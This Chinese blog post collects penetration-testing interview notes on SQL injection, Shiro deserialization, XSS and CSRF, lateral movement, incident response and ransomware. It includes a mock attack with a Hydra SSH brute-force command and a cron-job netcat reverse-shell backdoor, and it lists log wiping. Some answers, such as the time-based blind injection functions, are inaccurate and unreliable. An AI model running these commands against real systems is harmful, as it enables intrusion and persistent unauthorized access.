https://www.bilibili.com/video/BV1os4y1E7YT/?p=15&share_source=copy_web&vd_source=a867c73df17cfff8d16caf9e5b58a1aa
給你一個站點目標以后如何滲透?
- 資訊收集:收集目標系統相關的資訊,包括IP地址、域名、作業系統、網路架構等,
- 服務器資訊:真實IP,開放埠,系統型別,版本等
- 網站資訊:網站架構、指紋資訊、waf、敏感目錄和檔案、旁站和C段查詢等
- 域名資訊:whois資訊、子域名、備案資訊等
- Google,hacking
- 掃描網站目錄結構,爆破后臺
- 漏洞測驗:使用自動化工具或手工方式對目標系統進行漏洞掃描,發現可能存在的安全漏洞,
- sql注入,檔案上傳、命令執行、xss、等
- 漏洞利用:利用已知的或自己發現的漏洞進行攻擊,嘗試獲取敏感資訊或者控制目標系統,getshell
- 權限提升和維持:在成功入侵系統后,嘗試提升自己的權限,以獲取更高的訪問權限,需要維持權限
- 資料挖掘:有時會是內網掃描和攻擊,在目標系統中尋找重要的資料,如用戶賬號、密碼、銀行卡資訊等,
- 痕跡清理:洗掉日志等資訊
- 總結報告:根據測驗結果,撰寫詳細的測驗報告,指出存在的安全漏洞和建議修復方案,
如何驗證存在XSS漏洞?
驗證存在XSS漏洞有兩種辦法,一種是手動測驗,還有一種是自動化工具,
手動測驗第一步:找到用戶可以操作的輸入點,比如,評論區,URL等等
手動測驗第二步:找惡意代碼在網頁的輸出點
手動測驗第三步:構造payload進行測驗漏洞是否存在
GET和POST的區別?
1、請求資料存放位置不同
get把請求資料放在URL上,以?分割URL和傳輸資料,以&連接引數;
post把資料放在HTTP資料包里
2、目的不同
get是獲取資料,post是修改資料
3、資料大小限制不同
get提交資料最大是2k,實際限制取決于瀏覽器;
post理論上是沒有限制的;
4、傳輸方式不同
get是header和data一并發送,等待服務器回應200(回傳資料)
psot是先發送header等待服務器回應100(continue)后才發送data
5、get請求會被瀏覽器主動快取,post不會
shiro反序列化漏洞產生程序和如何利用?
命令--序列化--aes加密--base編碼--remberme cookie值
判斷是否使用shiro框架,是否有這個欄位,這個版本是否存在漏洞
常見應急排查方式
Linux入侵排查思路:
賬戶安全、歷史命令、檢查例外埠、檢測例外行程、開機啟動項、定時任務、服務、例外檔案、系統日志、web日志
Windows入侵排查思路:
賬戶安全、檢查例外埠、檢測例外行程、開機啟動項、定時任務、服務、例外檔案、系統日志、web日志webshell、檔案修改日期
CSRF、SSRF和重放攻擊的區別?
csrf 是客戶端請求偽造,ssrf 是服務端請求偽造,重放攻擊 是將截獲得資料包進行重放,達到身份認證等目的
Java反序列化和Shiro反序列化、PHP反序列化
Java中的ObjectOutputStream類的writeObject()方法可以實作序列化,其作用把物件轉換成位元組流,便于保存或者傳輸,而ObjectlnputStream類的readObject()方法用于反序列化,作用就是把位元組流還原成物件,
Shiro反序列化主要是Apache Shiro提供了記住密碼的功能,用戶登錄成功后會生成經過加密并編碼的cookie,保存在瀏覽器中方便用戶的日常使用,
而服務器對cookie的處理流程就是先獲取瀏覽器上保存的cookie,然后將其base64解碼,再進行AES解密,再將其反序列化進行校驗,而漏洞就是出現在這里,
AES是一個硬編碼有默認密鑰,如果程式員沒有去修改或者過于簡單,那我們就可以進行cookie重構,先構造我們的惡意代碼,然后將惡意代碼進行序列化,然后AES加密(密鑰我們已經爆破出來了),再進行base64編碼,形成我們新的cookie,而服務器在處理時就會按照剛才的處理流程,就會在服務端觸發我們構造的惡意代碼,
一次作業的內容也合并到一起,之后整理
1.請簡述滲透測驗的基本流程
滲透測驗(Penetration Testing)的基本流程通常包括以下幾個階段:
- 資訊收集:收集目標系統相關的資訊,包括IP地址、域名、作業系統、網路架構等,
- 漏洞掃描:使用自動化工具或手工方式對目標系統進行漏洞掃描,發現可能存在的安全漏洞,
- 攻擊嘗試:利用已知的或自己發現的漏洞進行攻擊,嘗試獲取敏感資訊或者控制目標系統,
- 權限提升:在成功入侵系統后,嘗試提升自己的權限,以獲取更高的訪問權限,
- 資料挖掘:在目標系統中尋找重要的資料,如用戶賬號、密碼、銀行卡資訊等,
- 報告撰寫:根據測驗結果,撰寫詳細的測驗報告,指出存在的安全漏洞和建議修復方案,
- 修復驗證:對報告中發現的漏洞進行修復,并重新進行測驗驗證,
2.滲透測驗中被動資訊收集的方法有什么?
滲透測驗中被動資訊收集的方法主要包括以下幾個方面:
- 搜索引擎查詢:使用搜索引擎查詢目標公司的官方網站、子域名、社交媒體賬號等資訊,
- WHOIS查詢:查詢目標公司的域名注冊資訊,包括域名所有人、注冊時間、過期時間等,
- 網路架構分析:查看目標公司公開發布的技術檔案、網站地圖、網路拓撲圖等資訊,了解網路架構,
- 社交工程學:通過社交媒體、論壇等渠道獲取目標公司員工的姓名、職位、聯系方式等資訊,
- 郵件自動回復:發送測驗郵件到目標公司的郵箱,觀察自動回復內容,了解目標公司的郵件服務商和版本資訊,
3.請簡述決議漏洞的原理
決議漏洞的原理是通過分析軟體或系統中存在的漏洞,找出其根源和可能產生的后果,以便制定有效的修復策略,一般來說,漏洞的原因可以歸結為以下幾個方面:
- 輸入驗證不嚴格:軟體或系統在接受用戶輸入時,沒有進行充分的驗證或過濾,導致攻擊者可以提交惡意資料,從而破壞系統的正常運行,
- 緩沖區溢位:在程式設計中,如果開辟的記憶體空間無法滿足實際需要,就會發生緩沖區溢位,攻擊者可以利用這種漏洞覆寫其他關鍵資訊,實作攻擊目的,
- 代碼注入:攻擊者可以通過向系統中注入惡意代碼,來獲取系統權限、控制系統甚至竊取敏感資訊,
- 未授權訪問:軟體或系統在設計時沒有考慮到安全性問題,導致攻擊者可以通過某些手段繞過認證機制,直接訪問系統資源,
- 密碼猜測:攻擊者可以使用自動化工具對系統進行暴力猜測,試圖獲得正確的用戶名和密碼等敏感資訊,
4.sql注入有哪些分類?
SQL注入一般可以分為以下幾個主要分類:
- 基于錯誤的注入:攻擊者通過構造惡意SQL陳述句,讓服務器回傳錯誤資訊,根據錯誤資訊,攻擊者可以推斷出資料庫表結構、欄位型別等關鍵資訊,
- 聯合查詢注入:攻擊者利用UNION陳述句將自己構造的查詢結果并入正常查詢結果中,從而獲取額外的資料或控制查詢結果,
- 盲注注入:攻擊者無法直接獲取查詢結果,但可以根據系統回傳的頁面、回應時間等資訊推斷出查詢結果,
- 布爾盲注注入:攻擊者通過判斷頁面上某些條件是否成立來推斷查詢結果,類似于二分搜索的方法進行攻擊,
- 時間盲注注入:攻擊者通過判斷系統回應時間的長短來推斷查詢結果,從而實作攻擊的目的,
5.sql注入中時間型盲注有哪些關鍵函式,它們的作用分別是什么?
時間型盲注是SQL注入攻擊的一種型別,它通過注入一些特定的SQL陳述句來猜測資料庫中的一些敏感資訊,下面是一些時間型盲注攻擊中常用的關鍵函式:
- sleep()
sleep() 函式可以讓程式等待指定的時間,這個時間可以是以秒為單位的任何值,在時間型盲注攻擊中,攻擊者往往會將 sleep() 函式用于SQL陳述句中,以便在等待期間獲取資料庫中的相關資訊,
- benchmark()
benchmark() 函式可以用于執行一個特定的操作指定次數,然后回傳執行時間,在時間型盲注攻擊中,攻擊者可以在SQL陳述句中使用 benchmark() 函式,指定一個時間(秒數)和要執行的操作,攻擊者會根據回傳的回應時間推測特定的條件是否為真或假,
- datediff()
datediff() 函式可以回傳兩個日期之間的時間差,在時間型盲注攻擊中,這個函式可以用于估算兩個日期是否存在,
以上函式都是時間型盲注攻擊中常用的函式,攻擊者在注入 SQL 陳述句時,往往會通過這些函式來猜測資料庫中的敏感資訊,然后利用得到的資訊進行攻擊,為了避免 SQL 注入攻擊,開發者需要采取一些安全措施,如使用引數化查詢等技術手段,
6.聯合查詢注入和堆疊注入的區別是什么?
聯合查詢注入和堆疊注入是兩種不同的SQL注入技術,它們的區別在于攻擊者構造的惡意注入陳述句的不同,
聯合查詢注入(Union-Based Injection)是一種常見的SQL注入技術,攻擊者通過構造帶有UNION關鍵字的SQL陳述句,將自己構造的查詢結果并入正常查詢結果中,從而獲取額外的資料或控制查詢結果,例如,攻擊者可以使用如下陳述句:
SELECT name, age FROM users WHERE id=1 UNION SELECT username, password FROM admins WHERE '1'='1'
這條SQL陳述句會回傳users表中id為1的記錄以及admins表中所有用戶的用戶名和密碼,如果應用程式對用戶輸入的引數沒有進行充分的驗證和過濾,攻擊者就可以執行這樣的注入攻擊,并竊取管理員賬號的用戶名和密碼等敏感資訊,
堆疊注入(Stacked Queries Injection)是一種比較高級的SQL注入技術,攻擊者可以在一次請求中同時執行多條SQL陳述句,從而實作更加復雜的攻擊,例如,攻擊者可以使用如下陳述句:
SELECT name, age FROM users; INSERT INTO log (user, action, time) VALUES ('attacker', 'hacked into system', NOW());
這條SQL陳述句會先執行查詢操作,然后再插入一條日志記錄,如果應用程式沒有對該引數進行嚴格的驗證和過濾,攻擊者就可以成功執行這樣的注入攻擊,并在資料庫中插入一條日志記錄,
因此,聯合查詢注入和堆疊注入雖然都屬于SQL注入攻擊,但它們的注入陳述句構造方式不同,且堆疊注入需要一定的技術水平才能實作,
7.請簡述shiro命令執行漏洞的原理
Shiro命令執行漏洞是指攻擊者可以通過構造惡意的Shiro請求,使應用程式執行任意系統命令的漏洞,其原理主要包括以下幾個步驟:
- 攻擊者利用Shiro框架提供的認證機制,構造出一個帶有特定引數的請求,
- 在該請求中,攻擊者通過修改某些引數的值,將需要執行的系統命令添加到請求中,
- 應用程式在接收、決議和處理該請求時,因為沒有對用戶輸入的資料進行充分的驗證和過濾,導致攻擊者構造的惡意命令被執行,
- 攻擊者成功地利用該漏洞執行了任意系統命令,從而獲取系統權限或竊取敏感資訊,
8.xss和csrf漏洞的區別是什么?
XSS(跨站腳本攻擊)和CSRF(跨站請求偽造)都是Web應用程式中常見的安全漏洞,它們具有以下幾點區別:
- 攻擊目標不同:XSS攻擊主要針對用戶端,即攻擊者通過注入惡意腳本來控制用戶的瀏覽器行為,例如竊取用戶的Cookie、會話令牌等敏感資訊,修改網頁內容等,而CSRF攻擊則主要針對服務端,即攻擊者利用受害者已經登錄的身份,在不知情的情況下發送惡意請求給被攻擊的站點,從而實作非法操作,例如轉賬、洗掉資料等,
- 漏洞產生的原因不同:XSS漏洞的產生一般是由于應用程式沒有對用戶輸入的資料進行充分的驗證和過濾,導致攻擊者可以注入惡意腳本,而CSRF漏洞則是由于應用程式在處理請求時沒有做足夠的校驗,導致攻擊者能夠偽造一個看起來合法的請求,
- 防御方式不同:XSS漏洞的防御主要包括對用戶輸入的資料進行嚴格的過濾和轉義,避免與HTML、JavaScript等代碼發生沖突,而CSRF漏洞的防御則主要包括在請求中添加Token等驗證機制,確保請求來源于合法的用戶,
總之,XSS和CSRF雖然都是Web應用程式中常見的安全問題,但產生原因、攻擊目標和防御方式均有所不同,需要根據實際情況采取相應的防御措施,以確保Web應用程式的安全性,
一個告警IP如何判斷是否是真實攻擊
首先看來源是內網還是外網,再看是否攜帶惡意payload
內網滲透時如何搭建代理隧道?
frp工具可以將內網的某個埠映射到跳板機器上面的某個埠,然后將跳板機的埠映射到VPS,這樣就可以通過VPS去訪問內網主機了
Stowaway,可以通過指定agent用戶為內網,然后指定admin為跳板機建立連接關系;
橫向移動
檔案共享符,建立ipc¥ + AT + schtasks
ipc¥ + sc
wmic
IPS和IDS
ips:入侵防御系統
位于防火墻和網路設定之間,檢測已知和未知攻擊并具有防止攻擊的能力
IDS:入侵檢測系統
不能反擊網路攻擊,通過對全網資訊的分析,進行告警等;
webshell原理
它是一種網頁后門,攻擊者在入侵網站后將asp和php后門檔案放在網站下,可以使用瀏覽器來訪問后門得到一個命令執行環境,以達到控制網站的目的
應急回應
系統排查
1、基本資訊
Windows:systeminfo,msinfo32
Linux:lscpu,uname -a
2、用戶資訊
Windows:圖形界面可以查看隱藏用戶,右鍵管理,本地用戶和組里看
Linux:cat /etc/passwd
3、啟動項
Windows:msconfig
Linux:cat 相應位置檔案
4、計劃任務
Windows:圖行界面查看即可
Linux:crontab -l
Ssh是什么?
加密的網路傳輸協議,安全外殼協議,用來遠程登錄連接時加密傳輸用的協議;
常見埠和對應服務
22 ssh
445 smb ms17-010
3306 mysql
3389 rdp
80 http
443 https
模擬掃描埠進行攻擊
攻擊ip:49.234.218.30
本機ip:192.168.121.130
掃描埠發現:22/tcp open ssh開啟
使用hydra(九頭蛇)、msf、美杜莎等進行爆破,撞庫
Htdra -L user.txt -P password.txt ssh://192.168.1.1
Ssh root @192.168.1.1
留后門,創建隱藏計劃任務,
進入tmp目錄 創建 task.sh檔案,編輯輸入
Nc 192.168.1.1 7777 -e /bin/bash
給執行權限Chmod +x
再創建計劃任務crontab,給權限;
Nc -lvp 7777
勒索病毒
WannaCry一種蠕蟲式勒索病毒,利用NSA泄露的漏洞EteralBlue(永恒之藍)進行傳播;
WannaCry蠕蟲病毒通過ms17-010漏洞感染計算機后植入勒索病毒,導致重要檔案被加密,并提示需支付錢以后才能解鎖;
至少15個國家30萬用戶中招,照成損失80億美元;
特征: 后綴wncry ,啟動時會連接一個不存在的url,創建系統服務 mssecsvc2.0,釋放路徑為Windows目錄
Globalmposter,郵件釣魚,暴力破解遠程服務器,掃描內網服務器并人工投放勒索病毒,導致檔案被加密,無法解密;
特征:后綴auchentoshan、動物名+444. Rdp爆破,釣魚郵件,捆綁軟體,釋放在%appdata%或%localappdata%
Crysis/Dharm,rdp暴力破解,采用AES+RSA,最新版本無法解密;
特征;id+勒索郵箱+特定后綴,位置在startup目錄下,或%appdata等;
勒索病毒應急回應
1、 事件判斷 判斷事件是不是勒索病毒,是那種病毒,可以查后綴和病毒特點
2、 臨時處置
3、 資訊收集與分析 樣本收集,檔案排查
4、 事件處置
5、 事件防御
后面沒看了,都是很常用的一些工具的利用,這里也沒記全,先這樣吧,溜了溜了
本文來自博客園,作者:BingeBlog,轉載請注明原文鏈接:https://www.cnblogs.com/bingeblog/p/17467495.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/554707.html
標籤:其他
上一篇:50道常見高頻大廠面試題
下一篇:返回列表
